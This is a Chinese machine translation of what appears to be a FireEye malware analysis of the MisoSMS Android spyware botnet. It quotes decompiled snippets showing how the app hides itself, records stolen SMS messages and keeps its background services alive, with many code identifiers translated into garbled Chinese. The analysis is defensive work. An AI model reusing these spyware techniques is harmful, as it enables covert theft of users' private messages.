FireEye已經發現並幫助削弱了迄今為止最大的先進移動僵屍網路之一。我們稱之為“MisoSMS”的僵屍網路已經被用於至少64個間諜軟體活動中,竊取簡訊並通過電子郵件發送給中國的網絡罪犯。
MisoSMS通過部署一類惡意的Android應用程序來感染Android系統。移動惡意軟件偽裝成用於管理任務的Android設定應用程序。執行時,它會秘密竊取用戶的個人簡訊,並通過電子郵件發送給中國的一個指揮控制(CnC)基礎設施。FireEye移動威脅預防平臺檢測到這類惡意軟件為“Android.Spyware.MisoSMS”
以下是MisoSMS的一些亮點:
- 我們發現了64個屬於MisoSMS惡意軟件家族的移動僵屍網路活動。
- 每一個活動都利用Web郵件作為其(CnC)基礎設施。
- CnC基礎設施包含450多個獨特的惡意電子郵件帳戶。
- FireEye一直在與社區合作,拆除CnC的基礎設施。
- 受感染的設備大多在韓國,這使我們相信,這一威脅在該地區十分活躍和普遍。
- 攻擊者從韓國和中國大陸等地登入,定期閱讀被盜簡訊。
MisoSMS在韓國非常活躍和廣泛,我們正在與韓國執法部門和中國的網絡郵件供應商合作,以減輕這種威脅。這一威脅突出表明,需要加大跨國家和跨組織的努力,以打擊大型惡意活動。
在發表此博客文章時,所有報告的惡意電子郵件帳戶都已停用,我們沒有注意到攻擊者注册了任何新的電子郵寄地址。火眼實驗室將密切監控這一威脅,並繼續與有關部門合作,以減輕這一威脅。
技術分析
一旦安裝了這個應用程序,它就會以“Google Vx”的形式出現,它請求對設備的管理許可權,這使得惡意軟件能够對用戶隱藏自己,如圖2所示。
圖3中的消息轉換為以下內容:
“此服務是疫苗殺手\n版權所有(c)2013 google.org”
一旦用戶授予應用程序管理員許可權,應用程序就會顯示圖3中的消息,該消息轉換為“檔案已損壞,無法使用。請在網站“”和“確定”按鈕上查看。然後是要求用戶確認删除,表面上提供了確認或取消的選項。如果用戶點擊“確認”,應用程序將休眠800毫秒,然後顯示一條消息“删除完成”。如果用戶點擊“取消”,應用程序仍將顯示“删除完成”消息。
在這兩種情况下,都會進行以下API調用以向用戶隱藏應用程序。
MainActivity.this.getComponentName(),2,1);
應用程序最初發送一封郵件,郵件正文中有目標設備的電話號碼。如下截圖所示。
惡意應用程序在安裝時創建一個名為“軟數據”的資料庫。它還通過執行下麵的SQL査詢創建資料庫錶。
paramSQLiteDatabase.execSQL(“如果不存在ulccd,則創建錶(id varchar(50)、sender varchar(50)、date varchar(20)、content varchar(500))”;
應用程序為SMS_接收的意圖注册服務。一旦收到意圖,應用程序就會調用com.mlc.googlevx.SinRecv.onGetMsg()方法。當受MisoSMS感染的設備接收到SMS時,該方法選取該SMS的內容並創建金鑰-值對,如下所示:
(“sender”,this.val$str1);//短信發送者的電話號碼
(“content”,this.val$str2);//短信內容
(“date”,this.val$str3);//簡訊日期
(“id”,“1”);//硬編碼識別字
(“key”,xdataStruct.id);//Device id
(“op”,“Add”);//要執行的操作“Add”表示要添加的簡訊
(“phone_number”,xdataStruct.selfnum);//受感染用戶的電話號碼
記錄上述數據,並發送電子郵件,將主題行設定為受感染設備的電話號碼。電子郵件正文包含向受感染設備發送消息的設備的電話號碼及其內容。下麵的圖6顯示了該數據在發送時的數据包捕獲。
如果發送失敗,它會將簡訊記錄在軟數據資料庫中。
安裝並啟動應用程序後,應用程序還會在後臺啟動三個服務:RollService、MisoService和BaseService。
滾動服務
此服務在執行的前五分鐘啟動睡眠調用。睡眠呼叫完成後,RollService將輪詢軟數據資料庫,並嘗試發送之前未能發送的任何SMS數據。一旦成功發送資訊,RollService就會從軟數據資料庫中删除該數據。
誤操作
一旦啟動,MisoService就會在後臺生成一個線程。此線程負責將資訊重放到CnC通道。使用轉換為位元組流的資料結構重放消息。這些結構的組成如下所示:
重播結構:
公共最終請求長度=95;
public final int Request_RecPhoneInfo_Len=8;
public Vector<RequestStruct_BookInfo>book_list=new Vector();包含
公共字串book_name=“”;
公共字串book_num=“”;
public RequestStruct_Head data_Head=新的RequestStruct_Head();包含
公用字串android;
公共int book_count=0;
public short client_version=1;
公共位元組為後門=0;
public String os_version=“”;
公共短電話簿狀態=0;
公共字串電話_model=“;
公用字串電話;
公共短信息記錄電話計數=0;
公共int sms_task_id=0;
public Vector<RequestStruct_RecPhoneInfo>rec_phone_list=new Vector();包含
public int reccode=0;public int recphoneid=0;
請求結構:
公開期末考試重播總分=583分;
公共最終整數重播NewAddr_Len=261;
公共終局重播記錄長度=24;
public repaystruct_Head data_Head=新的repaystruct_Head();包含
公共位元組為發送帳簿=0;
公共位元組是卸載後門=0;
公共位元組是u upbook=0;
公共位元組是u update=0;
公共字串last_client_url=“”;
public short last_client_url_len=0;
public short last_client_version=1;
public short new_addr_count=0;
公共短重聯=300;
公共字串sms_task_content=“;
公共int sms_task_id=0;
公共短消息任務記錄電話計數=0;
public Vector<ReplayStruct_NewAddrInfo>new_addr_list=new Vector();包含
公共短消息new_addr_len=0;
public int new_addr_port=8080;
公共字串new_addr_url=“”;
公共int rec_phone_id=0;
公共字串rec_phone_num=“;
一旦啟動MisoService,它會檢查手機是否連接到互聯網和蜂窩網絡。如果是,則發送由上述請求資料結構形成的位元組數組。然後,它將數據從請求結構複製到重播結構中,並通過SMS發送請求結構的位元組數組。
程式碼中未指定此簡訊的電話號碼,囙此暫時不會發送這些簡訊。但所有這些資訊都會登入到soft_數據資料庫中,應用程序的更新會發送短信和上述數據。MisoService還使用一個名為libmisoproto.so的嵌入式源對象來使用Java本機介面執行到SMTP服務器的通訊端連接。這個共亯對象是這個惡意軟件家族獨有的,這就是為什麼我們將這個惡意軟件命名為Android.Spyware.MisoSMS。
以下是MisoService的程式碼摘錄:
系統加載庫(“MisoProto”);
}
靜態位元組[]訪問$1(位元組[]arg1){
返回MisoService.jndkAction(arg1);
}
專用靜態本機位元組[]jndkAction(位元組[]arg0){
}
…
新線程(){
公共無效運行(){
MisoData.request_data.Reset();
MisoData.replay_data.Reset();
while(真){
如果((BaseSystem.isNetworkAvailable(MisoService.this.context))&&
if(BaseSystem.android.equals(“”){
BaseSystem.Init(MisoService.this.context);
}
MisoData.request_data.data_head.android_id=BaseSystem.android_id;
MisoData.request_data.data_head.phone_model=BaseSystem.phone_model;
MisoData.request_data.data_head.os_version=BaseSystem.os_version;
MisoData.request_data.data_head.phone_num=BaseSystem.phone_num;
byte[]v0=MisoService.jndkAction(NetDataCover.RequestToBytes(MisoData.request_data));
MisoService.訪問1美元(v0);
如果(v0!=空){
MisoData.request_data.Reset();
MisoData.replay_data=NetDataCover.BytesToReplay(v0);
誤操作.Action();
}
如果(MisoData.replay_data.data_head.sms_task_rec_phone_count!=0){
繼續;
}
SystemClock.sleep((長)(MisoData.replay_data.data_head.reconn_deply*100));
繼續;
}
系統時鐘睡眠(10000);
}
}
}.start();
}
MisoData.replay_data.data_head.reconn_deply的值設定為300,使服務在重試之間休眠30秒。
基本服務
基本服務確保RollService和MisoService不會停止運行。如果設備重新啟動,BaseBootReceiver類還使用BaseService啟動另外兩個服務。
BaseService.this.startService(新意圖(BaseService.this.context,RollService.class));
BaseService.this.startService(新意圖(BaseService.this.context,MisoService.class));
結論
MisoSMS是利用現代僵屍網路技術和基礎設施的最大移動僵屍網路之一。這一發現,再加上FireEye的其他發現,凸顯了移動安全和快速變化的威脅環境的重要性。